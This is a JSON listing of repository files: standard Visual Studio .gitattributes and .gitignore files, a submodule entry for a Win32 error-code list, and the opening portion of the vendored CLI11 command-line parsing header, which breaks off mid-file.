[
  {
    "path": ".gitattributes",
    "content": "###############################################################################\n# Set default behavior to automatically normalize line endings.\n###############################################################################\n* text=auto\n\n###############################################################################\n# Set default behavior for command prompt diff.\n#\n# This is need for earlier builds of msysgit that does not have it on by\n# default for csharp files.\n# Note: This is only used by command line\n###############################################################################\n#*.cs     diff=csharp\n\n###############################################################################\n# Set the merge driver for project and solution files\n#\n# Merging from the command prompt will add diff markers to the files if there\n# are conflicts (Merging from VS is not affected by the settings below, in VS\n# the diff markers are never inserted). Diff markers may cause the following \n# file extensions to fail to load in VS. An alternative would be to treat\n# these files as binary and thus will always conflict and require user\n# intervention with every merge. To do so, just uncomment the entries below\n###############################################################################\n#*.sln       merge=binary\n#*.csproj    merge=binary\n#*.vbproj    merge=binary\n#*.vcxproj   merge=binary\n#*.vcproj    merge=binary\n#*.dbproj    merge=binary\n#*.fsproj    merge=binary\n#*.lsproj    merge=binary\n#*.wixproj   merge=binary\n#*.modelproj merge=binary\n#*.sqlproj   merge=binary\n#*.wwaproj   merge=binary\n\n###############################################################################\n# behavior for image files\n#\n# image files are treated as binary by default.\n###############################################################################\n#*.jpg   binary\n#*.png   binary\n#*.gif   binary\n\n###############################################################################\n# diff behavior for common document formats\n# \n# Convert binary document formats to text before diffing them. This feature\n# is only available from the command line. Turn it on by uncommenting the \n# entries below.\n###############################################################################\n#*.doc   diff=astextplain\n#*.DOC   diff=astextplain\n#*.docx  diff=astextplain\n#*.DOCX  diff=astextplain\n#*.dot   diff=astextplain\n#*.DOT   diff=astextplain\n#*.pdf   diff=astextplain\n#*.PDF   diff=astextplain\n#*.rtf   diff=astextplain\n#*.RTF   diff=astextplain\n"
  },
  {
    "path": ".gitignore",
    "content": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n##\n## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore\n\n# User-specific files\n*.rsuser\n*.suo\n*.user\n*.userosscache\n*.sln.docstates\n\n# User-specific files (MonoDevelop/Xamarin Studio)\n*.userprefs\n\n# Mono auto generated files\nmono_crash.*\n\n# Build results\n[Dd]ebug/\n[Dd]ebugPublic/\n[Ww][Ii][Nn]32/\n[Aa][Rr][Mm]/\n[Aa][Rr][Mm]64/\nbld/\n[Bb]in/\n[Oo]bj/\n[Oo]ut/\n[Ll]og/\n[Ll]ogs/\n\n# Visual Studio 2015/2017 cache/options directory\n.vs/\n# Uncomment if you have tasks that create the project's static files in wwwroot\n#wwwroot/\n\n# Visual Studio 2017 auto generated files\nGenerated\\ Files/\n\n# MSTest test Results\n[Tt]est[Rr]esult*/\n[Bb]uild[Ll]og.*\n\n# NUnit\n*.VisualState.xml\nTestResult.xml\nnunit-*.xml\n\n# Build Results of an ATL Project\n[Dd]ebugPS/\n[Rr]eleasePS/\ndlldata.c\n\n# Benchmark Results\nBenchmarkDotNet.Artifacts/\n\n# .NET Core\nproject.lock.json\nproject.fragment.lock.json\nartifacts/\n\n# ASP.NET Scaffolding\nScaffoldingReadMe.txt\n\n# StyleCop\nStyleCopReport.xml\n\n# Files built by Visual Studio\n*_i.c\n*_p.c\n*.ilk\n*.meta\n*.obj\n*.iobj\n*.pch\n*.pdb\n*.ipdb\n*.pgc\n*.pgd\n*.rsp\n*.sbr\n*.tlb\n*.tli\n*.tlh\n*.tmp\n*.tmp_proj\n*_wpftmp.csproj\n*.log\n*.vspscc\n*.vssscc\n.builds\n*.pidb\n*.svclog\n*.scc\n\n# Chutzpah Test files\n_Chutzpah*\n\n# Visual C++ cache files\nipch/\n*.aps\n*.ncb\n*.opendb\n*.opensdf\n*.sdf\n*.cachefile\n*.VC.db\n*.VC.VC.opendb\n\n# Visual Studio profiler\n*.psess\n*.vsp\n*.vspx\n*.sap\n\n# Visual Studio Trace Files\n*.e2e\n\n# TFS 2012 Local Workspace\n$tf/\n\n# Guidance Automation Toolkit\n*.gpState\n\n# ReSharper is a .NET coding add-in\n_ReSharper*/\n*.[Rr]e[Ss]harper\n*.DotSettings.user\n\n# TeamCity is a build add-in\n_TeamCity*\n\n# DotCover is a Code Coverage Tool\n*.dotCover\n\n# AxoCover is a Code Coverage Tool\n.axoCover/*\n!.axoCover/settings.json\n\n# Coverlet is a free, cross platform Code Coverage Tool\ncoverage*.json\ncoverage*.xml\ncoverage*.info\n\n# Visual Studio code coverage results\n*.coverage\n*.coveragexml\n\n# NCrunch\n_NCrunch_*\n.*crunch*.local.xml\nnCrunchTemp_*\n\n# MightyMoose\n*.mm.*\nAutoTest.Net/\n\n# Web workbench (sass)\n.sass-cache/\n\n# Installshield output folder\n[Ee]xpress/\n\n# DocProject is a documentation generator add-in\nDocProject/buildhelp/\nDocProject/Help/*.HxT\nDocProject/Help/*.HxC\nDocProject/Help/*.hhc\nDocProject/Help/*.hhk\nDocProject/Help/*.hhp\nDocProject/Help/Html2\nDocProject/Help/html\n\n# Click-Once directory\npublish/\n\n# Publish Web Output\n*.[Pp]ublish.xml\n*.azurePubxml\n# Note: Comment the next line if you want to checkin your web deploy settings,\n# but database connection strings (with potential passwords) will be unencrypted\n*.pubxml\n*.publishproj\n\n# Microsoft Azure Web App publish settings. Comment the next line if you want to\n# checkin your Azure Web App publish settings, but sensitive information contained\n# in these scripts will be unencrypted\nPublishScripts/\n\n# NuGet Packages\n*.nupkg\n# NuGet Symbol Packages\n*.snupkg\n# The packages folder can be ignored because of Package Restore\n**/[Pp]ackages/*\n# except build/, which is used as an MSBuild target.\n!**/[Pp]ackages/build/\n# Uncomment if necessary however generally it will be regenerated when needed\n#!**/[Pp]ackages/repositories.config\n# NuGet v3's project.json files produces more ignorable files\n*.nuget.props\n*.nuget.targets\n\n# Microsoft Azure Build Output\ncsx/\n*.build.csdef\n\n# Microsoft Azure Emulator\necf/\nrcf/\n\n# Windows Store app package directories and files\nAppPackages/\nBundleArtifacts/\nPackage.StoreAssociation.xml\n_pkginfo.txt\n*.appx\n*.appxbundle\n*.appxupload\n\n# Visual Studio cache files\n# files ending in .cache can be ignored\n*.[Cc]ache\n# but keep track of directories ending in .cache\n!?*.[Cc]ache/\n\n# Others\nClientBin/\n~$*\n*~\n*.dbmdl\n*.dbproj.schemaview\n*.jfm\n*.pfx\n*.publishsettings\norleans.codegen.cs\n\n# Including strong name files can present a security risk\n# (https://github.com/github/gitignore/pull/2483#issue-259490424)\n#*.snk\n\n# Since there are multiple workflows, uncomment next line to ignore bower_components\n# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)\n#bower_components/\n\n# RIA/Silverlight projects\nGenerated_Code/\n\n# Backup & report files from converting an old project file\n# to a newer Visual Studio version. Backup files are not needed,\n# because we have git ;-)\n_UpgradeReport_Files/\nBackup*/\nUpgradeLog*.XML\nUpgradeLog*.htm\nServiceFabricBackup/\n*.rptproj.bak\n\n# SQL Server files\n*.mdf\n*.ldf\n*.ndf\n\n# Business Intelligence projects\n*.rdl.data\n*.bim.layout\n*.bim_*.settings\n*.rptproj.rsuser\n*- [Bb]ackup.rdl\n*- [Bb]ackup ([0-9]).rdl\n*- [Bb]ackup ([0-9][0-9]).rdl\n\n# Microsoft Fakes\nFakesAssemblies/\n\n# GhostDoc plugin setting file\n*.GhostDoc.xml\n\n# Node.js Tools for Visual Studio\n.ntvs_analysis.dat\nnode_modules/\n\n# Visual Studio 6 build log\n*.plg\n\n# Visual Studio 6 workspace options file\n*.opt\n\n# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)\n*.vbw\n\n# Visual Studio LightSwitch build output\n**/*.HTMLClient/GeneratedArtifacts\n**/*.DesktopClient/GeneratedArtifacts\n**/*.DesktopClient/ModelManifest.xml\n**/*.Server/GeneratedArtifacts\n**/*.Server/ModelManifest.xml\n_Pvt_Extensions\n\n# Paket dependency manager\n.paket/paket.exe\npaket-files/\n\n# FAKE - F# Make\n.fake/\n\n# CodeRush personal settings\n.cr/personal\n\n# Python Tools for Visual Studio (PTVS)\n__pycache__/\n*.pyc\n\n# Cake - Uncomment if you are using it\n# tools/**\n# !tools/packages.config\n\n# Tabs Studio\n*.tss\n\n# Telerik's JustMock configuration file\n*.jmconfig\n\n# BizTalk build output\n*.btp.cs\n*.btm.cs\n*.odx.cs\n*.xsd.cs\n\n# OpenCover UI analysis results\nOpenCover/\n\n# Azure Stream Analytics local run output\nASALocalRun/\n\n# MSBuild Binary and Structured Log\n*.binlog\n\n# NVidia Nsight GPU debugger configuration file\n*.nvuser\n\n# MFractors (Xamarin productivity tool) working folder\n.mfractor/\n\n# Local History for Visual Studio\n.localhistory/\n\n# BeatPulse healthcheck temp database\nhealthchecksdb\n\n# Backup folder for Package Reference Convert tool in Visual Studio 2017\nMigrationBackup/\n\n# Ionide (cross platform F# VS Code tools) working folder\n.ionide/\n\n# Fody - auto-generated XML schema\nFodyWeavers.xsd\n*.tlog\n*.txt\n*.recipe\n"
  },
  {
    "path": ".gitmodules",
    "content": "[submodule \"win32errorcodes\"]\n\tpath = win32errorcodes\n\turl = https://github.com/p0dalirius/win32errorcodes\n"
  },
  {
    "path": "CLI11.hpp",
    "content": "// CLI11: Version 2.3.2\n// Originally designed by Henry Schreiner\n// https://github.com/CLIUtils/CLI11\n//\n// This is a standalone header file generated by MakeSingleHeader.py in CLI11/scripts\n// from: v2.3.2\n//\n// CLI11 2.3.2 Copyright (c) 2017-2022 University of Cincinnati, developed by Henry\n// Schreiner under NSF AWARD 1414736. All rights reserved.\n//\n// Redistribution and use in source and binary forms of CLI11, with or without\n// modification, are permitted provided that the following conditions are met:\n//\n// 1. Redistributions of source code must retain the above copyright notice, this\n//    list of conditions and the following disclaimer.\n// 2. Redistributions in binary form must reproduce the above copyright notice,\n//    this list of conditions and the following disclaimer in the documentation\n//    and/or other materials provided with the distribution.\n// 3. Neither the name of the copyright holder nor the names of its contributors\n//    may be used to endorse or promote products derived from this software without\n//    specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#pragma once\n\n// Standard combined includes:\n#include <iomanip>\n#include <set>\n#include <memory>\n#include <vector>\n#include <utility>\n#include <stdexcept>\n#include <locale>\n#include <functional>\n#include <iostream>\n#include <iterator>\n#include <exception>\n#include <numeric>\n#include <fstream>\n#include <string>\n#include <type_traits>\n#include <tuple>\n#include <map>\n#include <algorithm>\n#include <cstdint>\n#include <sstream>\n#include <cmath>\n#include <limits>\n\n\n#define CLI11_VERSION_MAJOR 2\n#define CLI11_VERSION_MINOR 3\n#define CLI11_VERSION_PATCH 2\n#define CLI11_VERSION \"2.3.2\"\n\n\n\n\n// The following version macro is very similar to the one in pybind11\n#if !(defined(_MSC_VER) && __cplusplus == 199711L) && !defined(__INTEL_COMPILER)\n#if __cplusplus >= 201402L\n#define CLI11_CPP14\n#if __cplusplus >= 201703L\n#define CLI11_CPP17\n#if __cplusplus > 201703L\n#define CLI11_CPP20\n#endif\n#endif\n#endif\n#elif defined(_MSC_VER) && __cplusplus == 199711L\n// MSVC sets _MSVC_LANG rather than __cplusplus (supposedly until the standard is fully implemented)\n// Unless you use the /Zc:__cplusplus flag on Visual Studio 2017 15.7 Preview 3 or newer\n#if _MSVC_LANG >= 201402L\n#define CLI11_CPP14\n#if _MSVC_LANG > 201402L && _MSC_VER >= 1910\n#define CLI11_CPP17\n#if _MSVC_LANG > 201703L && _MSC_VER >= 1910\n#define CLI11_CPP20\n#endif\n#endif\n#endif\n#endif\n\n#if defined(CLI11_CPP14)\n#define CLI11_DEPRECATED(reason) [[deprecated(reason)]]\n#elif defined(_MSC_VER)\n#define CLI11_DEPRECATED(reason) __declspec(deprecated(reason))\n#else\n#define CLI11_DEPRECATED(reason) __attribute__((deprecated(reason)))\n#endif\n\n// GCC < 10 doesn't ignore this in unevaluated contexts\n#if !defined(CLI11_CPP17) ||                                                                                           \\\n    (defined(__GNUC__) && !defined(__llvm__) && !defined(__INTEL_COMPILER) && __GNUC__ < 10 && __GNUC__ > 4)\n#define CLI11_NODISCARD\n#else\n#define CLI11_NODISCARD [[nodiscard]]\n#endif\n\n/** detection of rtti */\n#ifndef CLI11_USE_STATIC_RTTI\n#if(defined(_HAS_STATIC_RTTI) && _HAS_STATIC_RTTI)\n#define CLI11_USE_STATIC_RTTI 1\n#elif defined(__cpp_rtti)\n#if(defined(_CPPRTTI) && _CPPRTTI == 0)\n#define CLI11_USE_STATIC_RTTI 1\n#else\n#define CLI11_USE_STATIC_RTTI 0\n#endif\n#elif(defined(__GCC_RTTI) && __GXX_RTTI)\n#define CLI11_USE_STATIC_RTTI 0\n#else\n#define CLI11_USE_STATIC_RTTI 1\n#endif\n#endif\n\n/** Inline macro **/\n#ifdef CLI11_COMPILE\n#define CLI11_INLINE\n#else\n#define CLI11_INLINE inline\n#endif\n\n\n\n// C standard library\n// Only needed for existence checking\n#if defined CLI11_CPP17 && defined __has_include && !defined CLI11_HAS_FILESYSTEM\n#if __has_include(<filesystem>)\n// Filesystem cannot be used if targeting macOS < 10.15\n#if defined __MAC_OS_X_VERSION_MIN_REQUIRED && __MAC_OS_X_VERSION_MIN_REQUIRED < 101500\n#define CLI11_HAS_FILESYSTEM 0\n#elif defined(__wasi__)\n// As of wasi-sdk-14, filesystem is not implemented\n#define CLI11_HAS_FILESYSTEM 0\n#else\n#include <filesystem>\n#if defined __cpp_lib_filesystem && __cpp_lib_filesystem >= 201703\n#if defined _GLIBCXX_RELEASE && _GLIBCXX_RELEASE >= 9\n#define CLI11_HAS_FILESYSTEM 1\n#elif defined(__GLIBCXX__)\n// if we are using gcc and Version <9 default to no filesystem\n#define CLI11_HAS_FILESYSTEM 0\n#else\n#define CLI11_HAS_FILESYSTEM 1\n#endif\n#else\n#define CLI11_HAS_FILESYSTEM 0\n#endif\n#endif\n#endif\n#endif\n\n#if defined CLI11_HAS_FILESYSTEM && CLI11_HAS_FILESYSTEM > 0\n#include <filesystem>  // NOLINT(build/include)\n#else\n#include <sys/stat.h>\n#include <sys/types.h>\n#endif\n\n\n\nnamespace CLI {\n\n\n/// Include the items in this namespace to get free conversion of enums to/from streams.\n/// (This is available inside CLI as well, so CLI11 will use this without a using statement).\nnamespace enums {\n\n/// output streaming for enumerations\ntemplate <typename T, typename = typename std::enable_if<std::is_enum<T>::value>::type>\nstd::ostream &operator<<(std::ostream &in, const T &item) {\n    // make sure this is out of the detail namespace otherwise it won't be found when needed\n    return in << static_cast<typename std::underlying_type<T>::type>(item);\n}\n\n}  // namespace enums\n\n/// Export to CLI namespace\nusing enums::operator<<;\n\nnamespace detail {\n/// a constant defining an expected max vector size defined to be a big number that could be multiplied by 4 and not\n/// produce overflow for some expected uses\nconstexpr int expected_max_vector_size{1 << 29};\n// Based on http://stackoverflow.com/questions/236129/split-a-string-in-c\n/// Split a string by a delim\nCLI11_INLINE std::vector<std::string> split(const std::string &s, char delim);\n\n/// Simple function to join a string\ntemplate <typename T> std::string join(const T &v, std::string delim = \",\") {\n    std::ostringstream s;\n    auto beg = std::begin(v);\n    auto end = std::end(v);\n    if(beg != end)\n        s << *beg++;\n    while(beg != end) {\n        s << delim << *beg++;\n    }\n    return s.str();\n}\n\n/// Simple function to join a string from processed elements\ntemplate <typename T,\n          typename Callable,\n          typename = typename std::enable_if<!std::is_constructible<std::string, Callable>::value>::type>\nstd::string join(const T &v, Callable func, std::string delim = \",\") {\n    std::ostringstream s;\n    auto beg = std::begin(v);\n    auto end = std::end(v);\n    auto loc = s.tellp();\n    while(beg != end) {\n        auto nloc = s.tellp();\n        if(nloc > loc) {\n            s << delim;\n            loc = nloc;\n        }\n        s << func(*beg++);\n    }\n    return s.str();\n}\n\n/// Join a string in reverse order\ntemplate <typename T> std::string rjoin(const T &v, std::string delim = \",\") {\n    std::ostringstream s;\n    for(std::size_t start = 0; start < v.size(); start++) {\n        if(start > 0)\n            s << delim;\n        s << v[v.size() - start - 1];\n    }\n    return s.str();\n}\n\n// Based roughly on http://stackoverflow.com/questions/25829143/c-trim-whitespace-from-a-string\n\n/// Trim whitespace from left of string\nCLI11_INLINE std::string &ltrim(std::string &str);\n\n/// Trim anything from left of string\nCLI11_INLINE std::string &ltrim(std::string &str, const std::string &filter);\n\n/// Trim whitespace from right of string\nCLI11_INLINE std::string &rtrim(std::string &str);\n\n/// Trim anything from right of string\nCLI11_INLINE std::string &rtrim(std::string &str, const std::string &filter);\n\n/// Trim whitespace from string\ninline std::string &trim(std::string &str) { return ltrim(rtrim(str)); }\n\n/// Trim anything from string\ninline std::string &trim(std::string &str, const std::string filter) { return ltrim(rtrim(str, filter), filter); }\n\n/// Make a copy of the string and then trim it\ninline std::string trim_copy(const std::string &str) {\n    std::string s = str;\n    return trim(s);\n}\n\n/// remove quotes at the front and back of a string either '\"' or '\\''\nCLI11_INLINE std::string &remove_quotes(std::string &str);\n\n/// Add a leader to the beginning of all new lines (nothing is added\n/// at the start of the first line). `\"; \"` would be for ini files\n///\n/// Can't use Regex, or this would be a subs.\nCLI11_INLINE std::string fix_newlines(const std::string &leader, std::string input);\n\n/// Make a copy of the string and then trim it, any filter string can be used (any char in string is filtered)\ninline std::string trim_copy(const std::string &str, const std::string &filter) {\n    std::string s = str;\n    return trim(s, filter);\n}\n/// Print a two part \"help\" string\nCLI11_INLINE std::ostream &\nformat_help(std::ostream &out, std::string name, const std::string &description, std::size_t wid);\n\n/// Print subcommand aliases\nCLI11_INLINE std::ostream &format_aliases(std::ostream &out, const std::vector<std::string> &aliases, std::size_t wid);\n\n/// Verify the first character of an option\n/// - is a trigger character, ! has special meaning and new lines would just be annoying to deal with\ntemplate <typename T> bool valid_first_char(T c) { return ((c != '-') && (c != '!') && (c != ' ') && c != '\\n'); }\n\n/// Verify following characters of an option\ntemplate <typename T> bool valid_later_char(T c) {\n    // = and : are value separators, { has special meaning for option defaults,\n    // and \\n would just be annoying to deal with in many places allowing space here has too much potential for\n    // inadvertent entry errors and bugs\n    return ((c != '=') && (c != ':') && (c != '{') && (c != ' ') && c != '\\n');\n}\n\n/// Verify an option/subcommand name\nCLI11_INLINE bool valid_name_string(const std::string &str);\n\n/// Verify an app name\ninline bool valid_alias_name_string(const std::string &str) {\n    static const std::string badChars(std::string(\"\\n\") + '\\0');\n    return (str.find_first_of(badChars) == std::string::npos);\n}\n\n/// check if a string is a container segment separator (empty or \"%%\")\ninline bool is_separator(const std::string &str) {\n    static const std::string sep(\"%%\");\n    return (str.empty() || str == sep);\n}\n\n/// Verify that str consists of letters only\ninline bool isalpha(const std::string &str) {\n    return std::all_of(str.begin(), str.end(), [](char c) { return std::isalpha(c, std::locale()); });\n}\n\n/// Return a lower case version of a string\ninline std::string to_lower(std::string str) {\n    std::transform(std::begin(str), std::end(str), std::begin(str), [](const std::string::value_type &x) {\n        return std::tolower(x, std::locale());\n    });\n    return str;\n}\n\n/// remove underscores from a string\ninline std::string remove_underscore(std::string str) {\n    str.erase(std::remove(std::begin(str), std::end(str), '_'), std::end(str));\n    return str;\n}\n\n/// Find and replace a substring with another substring\nCLI11_INLINE std::string find_and_replace(std::string str, std::string from, std::string to);\n\n/// check if the flag definitions has possible false flags\ninline bool has_default_flag_values(const std::string &flags) {\n    return (flags.find_first_of(\"{!\") != std::string::npos);\n}\n\nCLI11_INLINE void remove_default_flag_values(std::string &flags);\n\n/// Check if a string is a member of a list of strings and optionally ignore case or ignore underscores\nCLI11_INLINE std::ptrdiff_t find_member(std::string name,\n                                        const std::vector<std::string> names,\n                                        bool ignore_case = false,\n                                        bool ignore_underscore = false);\n\n/// Find a trigger string and call a modify callable function that takes the current string and starting position of the\n/// trigger and returns the position in the string to search for the next trigger string\ntemplate <typename Callable> inline std::string find_and_modify(std::string str, std::string trigger, Callable modify) {\n    std::size_t start_pos = 0;\n    while((start_pos = str.find(trigger, start_pos)) != std::string::npos) {\n        start_pos = modify(str, start_pos);\n    }\n    return str;\n}\n\n/// Split a string '\"one two\" \"three\"' into 'one two', 'three'\n/// Quote characters can be ` ' or \"\nCLI11_INLINE std::vector<std::string> split_up(std::string str, char delimiter = '\\0');\n\n/// This function detects an equal or colon followed by an escaped quote after an argument\n/// then modifies the string to replace the equality with a space.  This is needed\n/// to allow the split up function to work properly and is intended to be used with the find_and_modify function\n/// the return value is the offset+1 which is required by the find_and_modify function.\nCLI11_INLINE std::size_t escape_detect(std::string &str, std::size_t offset);\n\n/// Add quotes if the string contains spaces\nCLI11_INLINE std::string &add_quotes_if_needed(std::string &str);\n\n}  // namespace detail\n\n\n\n\nnamespace detail {\nCLI11_INLINE std::vector<std::string> split(const std::string &s, char delim) {\n    std::vector<std::string> elems;\n    // Check to see if empty string, give consistent result\n    if(s.empty()) {\n        elems.emplace_back();\n    } else {\n        std::stringstream ss;\n        ss.str(s);\n        std::string item;\n        while(std::getline(ss, item, delim)) {\n            elems.push_back(item);\n        }\n    }\n    return elems;\n}\n\nCLI11_INLINE std::string &ltrim(std::string &str) {\n    auto it = std::find_if(str.begin(), str.end(), [](char ch) { return !std::isspace<char>(ch, std::locale()); });\n    str.erase(str.begin(), it);\n    return str;\n}\n\nCLI11_INLINE std::string &ltrim(std::string &str, const std::string &filter) {\n    auto it = std::find_if(str.begin(), str.end(), [&filter](char ch) { return filter.find(ch) == std::string::npos; });\n    str.erase(str.begin(), it);\n    return str;\n}\n\nCLI11_INLINE std::string &rtrim(std::string &str) {\n    auto it = std::find_if(str.rbegin(), str.rend(), [](char ch) { return !std::isspace<char>(ch, std::locale()); });\n    str.erase(it.base(), str.end());\n    return str;\n}\n\nCLI11_INLINE std::string &rtrim(std::string &str, const std::string &filter) {\n    auto it =\n        std::find_if(str.rbegin(), str.rend(), [&filter](char ch) { return filter.find(ch) == std::string::npos; });\n    str.erase(it.base(), str.end());\n    return str;\n}\n\nCLI11_INLINE std::string &remove_quotes(std::string &str) {\n    if(str.length() > 1 && (str.front() == '\"' || str.front() == '\\'')) {\n        if(str.front() == str.back()) {\n            str.pop_back();\n            str.erase(str.begin(), str.begin() + 1);\n        }\n    }\n    return str;\n}\n\nCLI11_INLINE std::string fix_newlines(const std::string &leader, std::string input) {\n    std::string::size_type n = 0;\n    while(n != std::string::npos && n < input.size()) {\n        n = input.find('\\n', n);\n        if(n != std::string::npos) {\n            input = input.substr(0, n + 1) + leader + input.substr(n + 1);\n            n += leader.size();\n        }\n    }\n    return input;\n}\n\nCLI11_INLINE std::ostream &\nformat_help(std::ostream &out, std::string name, const std::string &description, std::size_t wid) {\n    name = \"  \" + name;\n    out << std::setw(static_cast<int>(wid)) << std::left << name;\n    if(!description.empty()) {\n        if(name.length() >= wid)\n            out << \"\\n\" << std::setw(static_cast<int>(wid)) << \"\";\n        for(const char c : description) {\n            out.put(c);\n            if(c == '\\n') {\n                out << std::setw(static_cast<int>(wid)) << \"\";\n            }\n        }\n    }\n    out << \"\\n\";\n    return out;\n}\n\nCLI11_INLINE std::ostream &format_aliases(std::ostream &out, const std::vector<std::string> &aliases, std::size_t wid) {\n    if(!aliases.empty()) {\n        out << std::setw(static_cast<int>(wid)) << \"     aliases: \";\n        bool front = true;\n        for(const auto &alias : aliases) {\n            if(!front) {\n                out << \", \";\n            } else {\n                front = false;\n            }\n            out << detail::fix_newlines(\"              \", alias);\n        }\n        out << \"\\n\";\n    }\n    return out;\n}\n\nCLI11_INLINE bool valid_name_string(const std::string &str) {\n    if(str.empty() || !valid_first_char(str[0])) {\n        return false;\n    }\n    auto e = str.end();\n    for(auto c = str.begin() + 1; c != e; ++c)\n        if(!valid_later_char(*c))\n            return false;\n    return true;\n}\n\nCLI11_INLINE std::string find_and_replace(std::string str, std::string from, std::string to) {\n\n    std::size_t start_pos = 0;\n\n    while((start_pos = str.find(from, start_pos)) != std::string::npos) {\n        str.replace(start_pos, from.length(), to);\n        start_pos += to.length();\n    }\n\n    return str;\n}\n\nCLI11_INLINE void remove_default_flag_values(std::string &flags) {\n    auto loc = flags.find_first_of('{', 2);\n    while(loc != std::string::npos) {\n        auto finish = flags.find_first_of(\"},\", loc + 1);\n        if((finish != std::string::npos) && (flags[finish] == '}')) {\n            flags.erase(flags.begin() + static_cast<std::ptrdiff_t>(loc),\n                        flags.begin() + static_cast<std::ptrdiff_t>(finish) + 1);\n        }\n        loc = flags.find_first_of('{', loc + 1);\n    }\n    flags.erase(std::remove(flags.begin(), flags.end(), '!'), flags.end());\n}\n\nCLI11_INLINE std::ptrdiff_t\nfind_member(std::string name, const std::vector<std::string> names, bool ignore_case, bool ignore_underscore) {\n    auto it = std::end(names);\n    if(ignore_case) {\n        if(ignore_underscore) {\n            name = detail::to_lower(detail::remove_underscore(name));\n            it = std::find_if(std::begin(names), std::end(names), [&name](std::string local_name) {\n                return detail::to_lower(detail::remove_underscore(local_name)) == name;\n            });\n        } else {\n            name = detail::to_lower(name);\n            it = std::find_if(std::begin(names), std::end(names), [&name](std::string local_name) {\n                return detail::to_lower(local_name) == name;\n            });\n        }\n\n    } else if(ignore_underscore) {\n        name = detail::remove_underscore(name);\n        it = std::find_if(std::begin(names), std::end(names), [&name](std::string local_name) {\n            return detail::remove_underscore(local_name) == name;\n        });\n    } else {\n        it = std::find(std::begin(names), std::end(names), name);\n    }\n\n    return (it != std::end(names)) ? (it - std::begin(names)) : (-1);\n}\n\nCLI11_INLINE std::vector<std::string> split_up(std::string str, char delimiter) {\n\n    const std::string delims(\"\\'\\\"`\");\n    auto find_ws = [delimiter](char ch) {\n        return (delimiter == '\\0') ? std::isspace<char>(ch, std::locale()) : (ch == delimiter);\n    };\n    trim(str);\n\n    std::vector<std::string> output;\n    bool embeddedQuote = false;\n    char keyChar = ' ';\n    while(!str.empty()) {\n        if(delims.find_first_of(str[0]) != std::string::npos) {\n            keyChar = str[0];\n            auto end = str.find_first_of(keyChar, 1);\n            while((end != std::string::npos) && (str[end - 1] == '\\\\')) {  // deal with escaped quotes\n                end = str.find_first_of(keyChar, end + 1);\n                embeddedQuote = true;\n            }\n            if(end != std::string::npos) {\n                output.push_back(str.substr(1, end - 1));\n                if(end + 2 < str.size()) {\n                    str = str.substr(end + 2);\n                } else {\n                    str.clear();\n                }\n\n            } else {\n                output.push_back(str.substr(1));\n                str = \"\";\n            }\n        } else {\n            auto it = std::find_if(std::begin(str), std::end(str), find_ws);\n            if(it != std::end(str)) {\n                std::string value = std::string(str.begin(), it);\n                output.push_back(value);\n                str = std::string(it + 1, str.end());\n            } else {\n                output.push_back(str);\n                str = \"\";\n            }\n        }\n        // transform any embedded quotes into the regular character\n        if(embeddedQuote) {\n            output.back() = find_and_replace(output.back(), std::string(\"\\\\\") + keyChar, std::string(1, keyChar));\n            embeddedQuote = false;\n        }\n        trim(str);\n    }\n    return output;\n}\n\nCLI11_INLINE std::size_t escape_detect(std::string &str, std::size_t offset) {\n    auto next = str[offset + 1];\n    if((next == '\\\"') || (next == '\\'') || (next == '`')) {\n        auto astart = str.find_last_of(\"-/ \\\"\\'`\", offset - 1);\n        if(astart != std::string::npos) {\n            if(str[astart] == ((str[offset] == '=') ? '-' : '/'))\n                str[offset] = ' ';  // interpret this as a space so the split_up works properly\n        }\n    }\n    return offset + 1;\n}\n\nCLI11_INLINE std::string &add_quotes_if_needed(std::string &str) {\n    if((str.front() != '\"' && str.front() != '\\'') || str.front() != str.back()) {\n        char quote = str.find('\"') < str.find('\\'') ? '\\'' : '\"';\n        if(str.find(' ') != std::string::npos) {\n            str.insert(0, 1, quote);\n            str.append(1, quote);\n        }\n    }\n    return str;\n}\n\n}  // namespace detail\n\n\n\n// Use one of these on all error classes.\n// These are temporary and are undef'd at the end of this file.\n#define CLI11_ERROR_DEF(parent, name)                                                                                  \\\n  protected:                                                                                                           \\\n    name(std::string ename, std::string msg, int exit_code) : parent(std::move(ename), std::move(msg), exit_code) {}   \\\n    name(std::string ename, std::string msg, ExitCodes exit_code)                                                      \\\n        : parent(std::move(ename), std::move(msg), exit_code) {}                                                       \\\n                                                                                                                       \\\n  public:                                                                                                              \\\n    name(std::string msg, ExitCodes exit_code) : parent(#name, std::move(msg), exit_code) {}                           \\\n    name(std::string msg, int exit_code) : parent(#name, std::move(msg), exit_code) {}\n\n// This is added after the one above if a class is used directly and builds its own message\n#define CLI11_ERROR_SIMPLE(name)                                                                                       \\\n    explicit name(std::string msg) : name(#name, msg, ExitCodes::name) {}\n\n/// These codes are part of every error in CLI. They can be obtained from e using e.exit_code or as a quick shortcut,\n/// int values from e.get_error_code().\nenum class ExitCodes {\n    Success = 0,\n    IncorrectConstruction = 100,\n    BadNameString,\n    OptionAlreadyAdded,\n    FileError,\n    ConversionError,\n    ValidationError,\n    RequiredError,\n    RequiresError,\n    ExcludesError,\n    ExtrasError,\n    ConfigError,\n    InvalidError,\n    HorribleError,\n    OptionNotFound,\n    ArgumentMismatch,\n    BaseClass = 127\n};\n\n// Error definitions\n\n/// 